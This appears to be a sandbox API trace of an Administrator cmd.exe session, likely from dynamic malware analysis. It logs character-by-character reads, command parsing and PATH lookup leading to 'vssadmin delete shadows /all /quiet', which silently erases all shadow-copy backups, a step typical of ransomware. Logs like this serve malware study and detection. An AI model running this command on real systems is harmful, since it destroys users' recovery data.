	[0059.604] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0059.604] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.604] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.604] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.604] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0059.604] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.604] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.604] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.604] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0059.604] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.610] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0059.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.611] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0059.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.612] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0059.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.612] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0059.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.612] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0059.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.612] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0059.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.612] GetFileType (hFile=0x248) returned 0x3
	[0059.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.612] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.612] GetFileType (hFile=0x254) returned 0x3
	[0059.612] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.612] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0059.612] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc2d1b0fad8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fad8*=0x24, lpOverlapped=0x0) returned 1
	[0059.612] GetProcessHeap () returned 0x286dddf0000
	[0059.612] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x4012) returned 0x286dddf8fc0
	[0059.612] GetProcessHeap () returned 0x286dddf0000
	[0059.612] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8fc0) returned 1
	[0059.613] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0059.613] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0059.613] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0059.613] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0059.613] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0059.613] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0059.613] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0059.613] GetProcessHeap () returned 0x286dddf0000
	[0059.613] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xb0) returned 0x286dddf8320
	[0059.613] GetProcessHeap () returned 0x286dddf0000
	[0059.613] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x22) returned 0x286dddf6a80
	[0059.614] GetProcessHeap () returned 0x286dddf0000
	[0059.614] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x48) returned 0x286dddf83e0
	[0059.614] GetConsoleOutputCP () returned 0x4e3
	[0059.640] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff710d2fbb0 | out: lpCPInfo=0x7ff710d2fbb0) returned 1
	[0059.640] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0059.645] GetConsoleTitleW (in: lpConsoleTitle=0xc2d1b0f920, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0059.651] malloc (_Size=0xffce) returned 0x286ddfe0840
	[0059.651] ??_V@YAXPEAX@Z () returned 0x286ddfe0840
	[0059.652] malloc (_Size=0xffce) returned 0x286ddff0820
	[0059.652] ??_V@YAXPEAX@Z () returned 0x286ddff0820
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0059.652] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0059.653] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0059.654] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0059.654] ??_V@YAXPEAX@Z () returned 0x1
	[0059.654] GetProcessHeap () returned 0x286dddf0000
	[0059.654] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xffde) returned 0x286dddf8fc0
	[0059.654] GetProcessHeap () returned 0x286dddf0000
	[0059.654] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x5a) returned 0x286dddf6c30
	[0059.654] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0059.654] malloc (_Size=0xffce) returned 0x286ddff0820
	[0059.655] ??_V@YAXPEAX@Z () returned 0x286ddff0820
	[0059.655] GetProcessHeap () returned 0x286dddf0000
	[0059.655] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x1ffac) returned 0x286dde0ab20
	[0059.656] SetErrorMode (uMode=0x0) returned 0x0
	[0059.656] SetErrorMode (uMode=0x1) returned 0x0
	[0059.656] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x286dde0ab30, lpFilePart=0xc2d1b0f1a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xc2d1b0f1a0*="Desktop") returned 0x17
	[0059.656] SetErrorMode (uMode=0x0) returned 0x1
	[0059.656] GetProcessHeap () returned 0x286dddf0000
	[0059.656] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde0ab20, Size=0x52) returned 0x286dde0ab20
	[0059.656] GetProcessHeap () returned 0x286dddf0000
	[0059.656] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde0ab20) returned 0x52
	[0059.656] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0059.656] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0059.656] GetProcessHeap () returned 0x286dddf0000
	[0059.656] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x1bc) returned 0x286dddf6ca0
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x368) returned 0x286dde08fb0
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde08fb0, Size=0x1be) returned 0x286dde08fb0
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde08fb0) returned 0x1be
	[0059.657] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xe8) returned 0x286dde09180
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde09180, Size=0x7e) returned 0x286dde09180
	[0059.657] GetProcessHeap () returned 0x286dddf0000
	[0059.657] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde09180) returned 0x7e
	[0059.657] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0059.657] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0xffffffffffffffff
	[0059.657] GetLastError () returned 0x2
	[0059.657] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0059.657] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0xffffffffffffffff
	[0059.659] GetLastError () returned 0x2
	[0059.660] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0059.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0x286dde09210
	[0059.660] FindClose (in: hFindFile=0x286dde09210 | out: hFindFile=0x286dde09210) returned 1
	[0059.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0xffffffffffffffff
	[0059.660] GetLastError () returned 0x2
	[0059.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0x286dde09210
	[0059.660] FindClose (in: hFindFile=0x286dde09210 | out: hFindFile=0x286dde09210) returned 1
	[0059.660] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0059.660] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0059.660] ??_V@YAXPEAX@Z () returned 0x1
	[0059.660] GetConsoleTitleW (in: lpConsoleTitle=0xc2d1b0f490, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0059.673] GetProcessHeap () returned 0x286dddf0000
	[0059.673] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x21c) returned 0x286dddf6040
	[0059.673] GetConsoleTitleW (in: lpConsoleTitle=0x286dddf6050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0059.733] GetProcessHeap () returned 0x286dddf0000
	[0059.733] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dddf6040, Size=0xc2) returned 0x286dddf6040
	[0059.733] GetProcessHeap () returned 0x286dddf0000
	[0059.733] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dddf6040) returned 0xc2
	[0059.733] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0062.499] GetProcessHeap () returned 0x286dddf0000
	[0062.499] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6040) returned 1
	[0062.499] InitializeProcThreadAttributeList (in: lpAttributeList=0xc2d1b0f3b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc2d1b0f2a0 | out: lpAttributeList=0xc2d1b0f3b0, lpSize=0xc2d1b0f2a0) returned 1
	[0062.499] UpdateProcThreadAttribute (in: lpAttributeList=0xc2d1b0f3b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc2d1b0f28c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc2d1b0f3b0, lpPreviousValue=0x0) returned 1
